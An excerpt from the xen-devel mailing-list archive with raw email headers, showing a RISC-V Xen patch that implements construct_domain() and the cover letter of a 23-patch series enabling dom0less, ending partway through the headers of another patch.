         +sH2mqs5ilAcPDCCEUebKsPorqqIXjC43Keg53KdIJGE+5+q/5ZL+b1oBpVXQD5fCP3z
         Wak1zVo+ziQeLTxS8UetA50PjPohdL2d5j+EDlUnqVpZnZRDGW71nfM1Fq4Z5XrbNmtJ
         +YwQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784563223; x=1785168023;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=ALyLLkJ/FueWGNpU6AdvBuLz9jp+wMzaqsUT95MAEFA=;
        b=Oo3ba/6uYh3tN40n9La5WAYOKh/PhNJ3u9ELqJcTncn111W/+FOmrIiZgzDdZ95Ljc
         PHuC/dCOjFhZT/D2P3Q50nw99fIdJa+3UwgBPtQd9Iltn06flArW71kz1Ag1wm5Y2AdR
         9CVE8V9+BmVnVkVvNiptENlRcZm3oVDIxjQaSHHq9DBu1YrOMSZqiYKVynqxshkFF8Sf
         +P1TNGOAji7zXaTIYpjIcrwQPM+yCwC1Q8hfndSBI5rbzcFUJ7YMWCYk6+EMGyZ6legP
         4pZUQ4bLTFVjoNCfz40jk9RO7qZhOAavqdYGus2BoLQsmR0tAuUyyXspKZXgNMrcx1qr
         MSfA==
X-Gm-Message-State: AOJu0Yzb8Y2kp/64WRZqfPMNQ597kUINA2W2KJCnhaMEeNwwfSuSs7KL
	3IcmZS+WFmk7tfxmeIIQ2BXXK3xeoJkI4AZchHaywpD43F0exHd1rRVvtZpGqw==
X-Gm-Gg: AR+sD127EPyLOQo8qirHQJ0rTxlMCH7+TreSNbHGq0mVhJ67RNyrxMoUgbSrZRJkRFZ
	0fT49cn4FVDRhLPR9ACLHReJtKEUqd+R4q+jmofnWV2fy02brFgY8CKe9N7Uogdk+BWzvLo0nCh
	Vpd1a3Jl3J8i8FiCx86BCMQxhGKI+z7c0FAqzNiqI9bxV97sUacS+bGmwi891wTFA1Wb/BD8Yp4
	t28SZJHJxwUV9auDbwOLlz/gwVG2lAbtTonwzwKdSWwq5cUEGrj5x4YotnJrysjzOVVGyrgGGKb
	dH+oFpYYynO5XWqdCgQ930Ae8OZzq8QYSCHGuf3yS+veviyQLG/zdA0hAz3/RmOM2HOtgBc3YKX
	alzCTDAnT8fC7cN72F7myp0Eapf5XTNbKsFgHx+441DfEKC6ZJgfJWJ9urbLotWZmzBp18U0JlS
	t8M/hCYow6tMnxDQN9+e0ybF4ph0ncxIHkZYavOyui7xhPxgQK99zBtB+OnQ==
X-Received: by 2002:a5d:6285:0:b0:47e:f4c:508e with SMTP id ffacd0b85a97d-47f62330d27mr12254241f8f.46.1784563223545;
        Mon, 20 Jul 2026 09:00:23 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v6 05/23] xen/riscv: Implement construct_domain()
Date: Mon, 20 Jul 2026 17:59:46 +0200
Message-ID: <a44f12eb7b2a7c50248da5ef7e16bb88584554bf.1784559209.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1784559209.git.oleksii.kurochko@gmail.com>
References: <cover.1784559209.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ef75cf/1784563224-A62C4AE4-4C6512DF/10/73395122804
X-purgate-type: spam
X-purgate-size: 3117

Implement construct_domain() function for RISC-V, which performs initial setup
for the domain's first vCPU, loads the kernel, initrd, and device tree,
and sets up guest CPU registers for boot.

It also creates additional vCPUs up to max_vcpus and assigns the device tree
address and boot cpuid in registers.

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Acked-by: Jan Beulich <jbeulich@suse.com>
---
Changes in v5-v6:
 - Only rebase. Nothing changed.
---
Changes in v4:
 - Drop the blank before v%u in the printk() failure message so the output
   matches that of %pv.
 - Restore Acked-by that was lost in v3.
---
Changes in v3:
 - s/%d/%u for printing vCPU index in the failure message.
 - Drop dprintk() for successful vCPU creation.
---
Changes in v2:
 - Rework construct_domain() to print that vCPU1...n are created using %pv.
 - Use true instead of 1 for initialization of v->is_initialised.
 - Drop unnessary BUG_ON() in construct_domain().
 - Add TODO comment above *_load() functions.
---
---
 xen/arch/riscv/Makefile       |  1 +
 xen/arch/riscv/domain-build.c | 50 +++++++++++++++++++++++++++++++++++
 2 files changed, 51 insertions(+)
 create mode 100644 xen/arch/riscv/domain-build.c

diff --git a/xen/arch/riscv/Makefile b/xen/arch/riscv/Makefile
index 8f7fd625dddd..fd5e499eb4b9 100644
--- a/xen/arch/riscv/Makefile
+++ b/xen/arch/riscv/Makefile
@@ -1,6 +1,7 @@
 obj-y += aplic.o
 obj-y += cpufeature.o
 obj-y += domain.o
+obj-y += domain-build.init.o
 obj-$(CONFIG_DOM0LESS_BOOT) += dom0less-build.init.o
 obj-$(CONFIG_EARLY_PRINTK) += early_printk.o
 obj-y += entry.o
diff --git a/xen/arch/riscv/domain-build.c b/xen/arch/riscv/domain-build.c
new file mode 100644
index 000000000000..5f6f4b6248a5
--- /dev/null
+++ b/xen/arch/riscv/domain-build.c
@@ -0,0 +1,50 @@
+/* SPDX-License-Identifier: GPL-2.0-or-later */
+
+#include <xen/fdt-domain-build.h>
+#include <xen/fdt-kernel.h>
+#include <xen/init.h>
+#include <xen/sched.h>
+
+#include <asm/current.h>
+#include <asm/guest_access.h>
+
+int __init construct_domain(struct domain *d, struct kernel_info *kinfo)
+{
+    struct vcpu *v = d->vcpu[0];
+    struct cpu_user_regs *regs = vcpu_guest_cpu_user_regs(v);
+
+    BUG_ON(v->is_initialised);
+
+    /*
+     * At the moment *_load() don't return value and will just panic()
+     * inside.
+     * TODO: it will be good to change that.
+     */
+    kernel_load(kinfo);
+    initrd_load(kinfo, copy_to_guest_phys);
+    dtb_load(kinfo, copy_to_guest_phys);
+
+    regs->sepc = kinfo->entry;
+
+    /* Guest boot cpuid = 0 */
+    regs->a0 = 0;
+    regs->a1 = kinfo->dtb_paddr;
+
+    for ( unsigned int i = 1; i < d->max_vcpus; i++ )
+    {
+        const struct vcpu *tmp_v = vcpu_create(d, i);
+
+        if ( !tmp_v )
+        {
+            printk("Failed to allocate %pdv%u\n", d, i);
+            break;
+        }
+    }
+
+    domain_update_node_affinity(d);
+
+    v->is_initialised = true;
+    clear_bit(_VPF_down, &v->pause_flags);
+
+    return 0;
+}
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 16:00:26 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 16:00:26 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366946.1616730 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqPi-00041Z-Mt; Mon, 20 Jul 2026 16:00:18 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366946.1616730; Mon, 20 Jul 2026 16:00:18 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqPi-00041S-IG; Mon, 20 Jul 2026 16:00:18 +0000
Received: by outflank-mailman (input) for mailman id 1366946;
 Mon, 20 Jul 2026 16:00:17 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wlqPh-00041G-6z
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:00:17 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqPg-00HTQt-GL
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:00:16 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e460c-e002-0a2a0a5209dd-0a2a4503e392-24
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:16 +0200
Received: from [209.85.221.53] (helo=mail-wr1-f53.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e4610-fae8-0a2a45030019-d155dd35a95f-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:16 +0200
Received: by mail-wr1-f53.google.com with SMTP id
 ffacd0b85a97d-4720f3bf164so2150119f8f.1
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:00:16 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f63edd7d3sm30084673f8f.25.2026.07.20.09.00.13
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 20 Jul 2026 09:00:14 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:MIME-Version:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784563215; x=1785168015; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:mime-version:message-id:date
         :subject:cc:to:from:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=6muAc8o+Uh8aEi5bB+cs6mTT3fDYbl5MHDoHkwXOnuE=;
        b=stS2rICz4HPJQWkFvLCp+3nxW1yfsEvVnIfeu8KJPsuSs5TDbdklkcXxYS+x2GdL/l
         VWKv0otZVjx287IjEMeVdl6hJNtE1vHEmtQ+dtK2RYYx+vcLqCHShBYl5AAUTTtLtoPP
         iCaaqLRjvCxhlNQn0DIZ3m61ms5gA9wcrBS6iqDCj1C10FGYW6js7/+0PBG9qw53XJ7+
         JR5X8FzQwWPNRS0IIDCRxGXrrkdR70FpVR5eOiHjAG3HhOWdC1vtJQ7FDCYQmHIqln1M
         Bl1mjcgT01O40eV0fwS/Pu9KosgUWhz+tQqha+5FM+NeVSIR7QUvkzy9AffTSn1BcPEG
         XYbw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784563215; x=1785168015;
        h=content-transfer-encoding:content-type:mime-version:message-id:date
         :subject:cc:to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=6muAc8o+Uh8aEi5bB+cs6mTT3fDYbl5MHDoHkwXOnuE=;
        b=HR0jEaMn5mT3u1BxcfsMGrp2RGkIYk8aiQSQRUmQnyN9uFX0FJw6RTadaT6fhvG1zS
         VAhxM1dDMq9qBiWJp0Kyds27wnEeGzb9t0ekb61a3uB1AE3QNUHFNn0heq78gamdjSSm
         61GL8VG3uMJ3aatcG4c6/IJxRbMwNZIOY1yx5UqXlDym7CQkl/cnVurj/B5/y7wDnX8m
         ycvvNh5s8wo4HDmWJvxjFohX/YW0rhVNEfqx6Y+75e/YCOZsd04GFo0kVBOfvzP5RfFV
         XnBUapKS2vlPNaTvOfJ5zlnJoAI+m6ZjIj6XBH/KySapE+1BbF0JOmhIdrirPJBUPCyA
         Ihig==
X-Gm-Message-State: AOJu0YyTRDd0BGEMd6/5uxS3kXIWaT+LXGm9kwx2TLzP5ERGytBzAyLh
	SOTOu8gjDnGbVnRgzGZ+7QGEyN31qeKmxqAVq5cM77oz31N4Q468UgXPz2RT3A==
X-Gm-Gg: AR+sD102BZYXN0+QfJ2GJ8csb4pNs0w4oOnxiKp8N8oL7fyBGW9EK/8TTKYFOJrL1/l
	x10hlRSlvolaGN5pLf13hRXta5NF9BS3zJEk2KioQwPvuBTyS+yKKRd7OO7rqFVPUEkNdxrvRHr
	xkELsmAoMWkGHAsTZhOhn2THf8xOXjSIdrCy4gTPx36Uby1cn1Vm72euj/wgXR+SMem/eN+x67O
	LCqizNaOXihhRf1L8GAUtqNnC6yYwH+7ewMrTAs6BAzMkAOC7uumBBGkCXkU537Pqe0rnfGbhTk
	RyL61a14tqR2pD7yf2Cslmpu/SwD5KRx4pe+jD38GJh0bw1rHgbiJZ9jxzWLdqoWZKdrTYAWENU
	OIR64o5y8yJy6nUg9aC808A2VVA8t77MACJ6wDBvEXwscbETzvZ9sUcRKnZGAkOZ57d34o0psBj
	pc0A7LFmBbcK7u3H3kz1eGQrysdzSQrRe3tgzQLfUa+hK6xJ1DNpJ/hSPtqQ==
X-Received: by 2002:a05:6000:4b0d:b0:47f:537b:d5d0 with SMTP id ffacd0b85a97d-47f623f2ef4mr16816381f8f.28.1784563215139;
        Mon, 20 Jul 2026 09:00:15 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Julien Grall <julien@xen.org>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Jan Beulich <jbeulich@suse.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Timothy Pearson <tpearson@raptorengineering.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	"Daniel P. Smith" <dpsmith@apertussolutions.com>
Subject: [PATCH v6 00/23] Introduce enablemenant of dom0less
Date: Mon, 20 Jul 2026 17:59:41 +0200
Message-ID: <cover.1784559209.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-33051d/1784563216-74E874E9-6FD3FECE/10/73395122804
X-purgate-type: spam
X-purgate-size: 6417

This patch series reprensent a bunch of patches necessary to enable common part
of Dom0less.
The stuff necessary to start/launch domains will be introduced separately.

CI tests: https://gitlab.com/xen-project/people/olkur/xen/-/pipelines/2690872826

---
Changes in v6:
 - Merged to upstream/staging:
   - xen: arm: move declaration of map_device_irqs_to_domain() to common header
   - xen/Kconfig: introduce HAS_STATIC_MEMORY
   - xen/riscv: rename enum intc_version to intc_variant
   - xen/riscv: implement prerequisites for domain_create()
 - Move UBSAN fix ("xen: introduce CONFIG_HAS_SHARED_INFO for archs without a shared page")
   to this patch series as it is connected to "xen/Kconfig: introduce HAS_STATIC_MEMORY".
 - Address the comments from ML.
---
Changes in v5:
 - Add new patch (xen/riscv: do a 4th linking pass if necessary) which fixes
   randconfig job issue.
 - Address comments from ML.
---
Changes in v4:
 - Address comments from ML.
---
Changes in v3:
 - Drop dependency from other patch series
   ([1] https://lore.kernel.org/xen-devel/cover.1778140240.git.oleksii.kurochko@gmail.com/T/#t)
   as it was merged.
 - Reorder patches:
   - move common patches to the start.
   - Move some patches to separate patch series (will be introduced later)
 - Address comments from ML.
---
Changes in v2:
 - Move patch "[PATCH v1 04/27] xen/riscv: rework G-stage mode handling" to
   patch series [1]
 - Address the comments from ML.
 - The following patches were folded into one:
   # xen/riscv: implement init_intc_phandle()
   # xen/riscv: call do_initcalls() in start_xen()
   # xen/riscv: setup system domains
 - The following patch were folded into one:
   # xen/riscv: add vaplic access check
   # xen/riscv: emulate guest writes to virtual APLIC MMIO
   # xen/riscv: emulate guest reads from virtual APLIC MMIO
 - Add new bug fix, not really necessary to this patch series:
   xen/riscv: manage IRQ_DISABLED flag in APLIC irq enable/disable callbacks
---

Oleksii Kurochko (23):
  xen: introduce CONFIG_HAS_SHARED_INFO for archs without a shared page
  xen/dom0less: turn max_init_domid into a common variable
  xen: arm: update p2m_set_allocation() prototype
  xen/riscv: Implement ARCH_PAGING_MEMPOOL
  xen/riscv: Implement construct_domain()
  xen/riscv: introduce guest riscv,isa string
  xen/riscv: implement make_cpus_node()
  xen/riscv: implement make_timer_node()
  xen/riscv: implement make_arch_nodes()
  xen/riscv: introduce init interrupt controller operations
  xen/riscv: implement make_intc_domU_node()
  xen/riscv: introduce aia_init() and aia_usable()
  xen/riscv: introduce per-vCPU IMSIC state
  xen/riscv: introduce minimal virtual APLIC (vAPLIC) infrastructure
  xen/riscv: introduce (de)initialization helpers for vINTC
  xen/riscv: generate IMSIC DT node for guest domains
  xen/riscv: create APLIC DT node for guest domains
  xen/riscv: implement IRQ routing for device passthrough
  xen/riscv: implement init_intc_phandle()
  xen/riscv: initialize RCU, scheduler, and system domains in
    start_xen()
  xen/riscv: provide init_vuart()
  xen/riscv: add initial dom0less infrastructure support
  xen/riscv: do a 4th linking pass if necessary

 xen/arch/arm/Kconfig                      |   1 +
 xen/arch/arm/include/asm/p2m.h            |   1 -
 xen/arch/arm/include/asm/setup.h          |   2 -
 xen/arch/arm/mmu/p2m.c                    |  24 +--
 xen/arch/arm/setup.c                      |   2 -
 xen/arch/ppc/include/asm/setup.h          |   2 -
 xen/arch/riscv/Kconfig                    |   3 +
 xen/arch/riscv/Makefile                   |  20 +-
 xen/arch/riscv/aia.c                      |  23 +++
 xen/arch/riscv/aplic-priv.h               |  14 ++
 xen/arch/riscv/aplic.c                    |  14 +-
 xen/arch/riscv/cpufeature.c               | 148 +++++++++++---
 xen/arch/riscv/device.c                   |  94 +++++++++
 xen/arch/riscv/dom0less-build.c           |  40 ++++
 xen/arch/riscv/domain-build.c             | 211 +++++++++++++++++++
 xen/arch/riscv/domain.c                   |  16 +-
 xen/arch/riscv/imsic.c                    | 178 +++++++++++++++-
 xen/arch/riscv/include/asm/aia.h          |  10 +
 xen/arch/riscv/include/asm/aplic.h        |  15 ++
 xen/arch/riscv/include/asm/cpufeature.h   |   5 +
 xen/arch/riscv/include/asm/domain.h       |   7 +
 xen/arch/riscv/include/asm/guest-layout.h |  24 +++
 xen/arch/riscv/include/asm/imsic.h        |  25 +++
 xen/arch/riscv/include/asm/intc.h         |  44 +++-
 xen/arch/riscv/include/asm/irq.h          |   5 +
 xen/arch/riscv/include/asm/paging.h       |   2 +-
 xen/arch/riscv/include/asm/setup.h        |   2 -
 xen/arch/riscv/include/asm/vaplic.h       |  34 ++++
 xen/arch/riscv/intc.c                     | 102 +++++++++-
 xen/arch/riscv/irq.c                      | 238 ++++++++++++++++++++++
 xen/arch/riscv/p2m.c                      |  33 ++-
 xen/arch/riscv/paging.c                   |   7 +-
 xen/arch/riscv/setup.c                    |  12 ++
 xen/arch/riscv/vaplic.c                   | 148 ++++++++++++++
 xen/arch/x86/Kconfig                      |   1 +
 xen/arch/x86/include/asm/setup.h          |   2 -
 xen/common/Kconfig                        |   3 +
 xen/common/Makefile                       |   2 +-
 xen/common/device-tree/dom0less-build.c   |   2 +-
 xen/common/domain.c                       |   6 +-
 xen/common/domctl.c                       |  11 +-
 xen/common/domid.c                        |   5 +
 xen/common/event_channel.c                |  53 ++++-
 xen/common/event_channel.h                |   6 +
 xen/common/event_fifo.c                   |  19 +-
 xen/common/time.c                         |   2 +
 xen/drivers/char/console.c                |   1 +
 xen/include/xen/dom0less-build.h          |   7 +
 xen/include/xen/p2m-common.h              |   8 +
 xen/include/xen/shared.h                  |   8 +-
 xen/include/xen/time.h                    |   4 +
 51 files changed, 1548 insertions(+), 98 deletions(-)
 create mode 100644 xen/arch/riscv/aia.c
 create mode 100644 xen/arch/riscv/device.c
 create mode 100644 xen/arch/riscv/domain-build.c
 create mode 100644 xen/arch/riscv/include/asm/aia.h
 create mode 100644 xen/arch/riscv/include/asm/vaplic.h
 create mode 100644 xen/arch/riscv/vaplic.c

-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 16:00:26 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 16:00:26 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366948.1616747 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqPl-0004RU-6s; Mon, 20 Jul 2026 16:00:21 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366948.1616747; Mon, 20 Jul 2026 16:00:21 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqPl-0004RJ-3R; Mon, 20 Jul 2026 16:00:21 +0000
Received: by outflank-mailman (input) for mailman id 1366948;
 Mon, 20 Jul 2026 16:00:19 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wlqPj-0004Dz-Q0
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:00:19 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqPj-001mbV-6s
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:00:19 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e460b-2eae-0a2a0a5409dd-0a2a4506bcec-16
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:19 +0200
Received: from [209.85.128.52] (helo=mail-wm1-f52.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e4612-195a-0a2a45060019-d1558034c9d6-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:19 +0200
Received: by mail-wm1-f52.google.com with SMTP id
 5b1f17b1804b1-493b966dd74so43738535e9.3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:00:19 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f63edd7d3sm30084673f8f.25.2026.07.20.09.00.16
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 20 Jul 2026 09:00:17 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784563218; x=1785168018; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=EKkncs/MVbSUd+vQGpfC/FsRQ3Kf/ToKIui4GZQixqs=;
        b=bqZ17V+bGIXKY7/QgylU6GScGT+lx4r2hAaL0vxNJ4ONrrRZFyvLI0PHmvO6u2YdsF
         Bj9xI4fQP7YrK0S4fd7UMrgm4X/MxVHyhoL+Z5mKbDzCy+AJbWjpCrX2nl5o9n7kLCH5
         nSTrX09wgzBATrYu52OkbgspmCSc2nw3n69B76T2sKnaMxk5riHuFU3IU4CXfu/34J2R
         63IkdI94YPRybF35HpMou4g5OawwZqckYKMeFTUpOnV0w5ul6Kv7ArEQeOiqhPJeQZTZ
         afAT3ddIEnFBBoDJBYn5SkXSuhyVZszQeiqUbqVmP/JLTyThNSuVnjHVLdEfNzto4XY4
         lpyQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784563218; x=1785168018;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=EKkncs/MVbSUd+vQGpfC/FsRQ3Kf/ToKIui4GZQixqs=;
        b=mMcRJQg6VkGwZednnWLoLeuCFLY3aJGWxvFP2cy7Td3sVTCCYvgwvOJy+DAPfMNJ+v
         bB31E11YtjLISrONv0pZxo19QfUFObXm9J5hq3lzlrOSHPJ2mNHKmBFuKTjwDpGYQuSG
         DYQPL2Y1eutbewuwFNAcN23eBGHI1kTAw0ID//WesxAeP1APO9jntQRcU4F+EwZCM0Bu
         2dpnNYEAU2vQvfch01YpqZHzuyK+ELAkSIhX2/aIq2n0vLHTOd/4ftMGZYfFkr3oG9eO
         ZYA5R2psk2pOtVeUiyQJ/UgfW4cz2xA4YZLqZ4DvWCcGoX4xm8lXpjR6Q/zQb9TNalJ8
         Fpdg==
X-Gm-Message-State: AOJu0YzhWXRPE5ckCHf+TOyYR7askEb5TDatN4LHr6dIl4PV4pvBafv2
	QJdCnKBtpCKE0TGgi08oqkbBXZLCuYSqKhAHlupAzZLsOdUWgEzlhbnImWuAyg==
X-Gm-Gg: AfdE7cmc3+jGIDst6L/48WSlxamtt7uhC5cMxtQPT5aWJITYkzKk8Xy0KMfLCpTNelV
	MnRcJKysVEJQ3wJJbF8jXAu5NML1KcbANCc4H0dG3K4H3zGD4+lmY9fgL9hnWQC0xxYDLCfUIqO
	ETQJtc4VyACzfxKCPK2m72Jg23VCYDclBs5JE3Ins0qg7vItZW1/Nlbsh/KzTJ0NAli1H5Xdcb6
	us9flHhqnBByfBUr3LNNGw/PZ09ZTj9yIpg8cJbydSL/quEOS3SpbBKQkr+W6JkYNWK2z4PUcXL
	bEW9tZ8L+ns2IjqmvpqAaL/uk0tpPa6OZiXkk9LbYdbYsBTl0TnwMHm0gauHv86Hepsr7tIH+Fh
	/YHtwl4qM0gCwj47hlUM/pw1nS2/nAcy/qbSrKVSzYNHluO208jw+H165BkolcvhqP67c68ViwM
	mhVrXfAXwGWFzwg9F+kXIVe3lOcAzooZzOXHs6BsW1ZivZYP4=
X-Received: by 2002:a05:600c:3b8e:b0:495:4bf3:2150 with SMTP id 5b1f17b1804b1-4954bf3216amr178623735e9.8.1784563218062;
        Mon, 20 Jul 2026 09:00:18 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Julien Grall <julien@xen.org>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Jan Beulich <jbeulich@suse.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Timothy Pearson <tpearson@raptorengineering.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Teddy Astie <teddy.astie@vates.tech>
Subject: [PATCH v6 02/23] xen/dom0less: turn max_init_domid into a common variable
Date: Mon, 20 Jul 2026 17:59:43 +0200
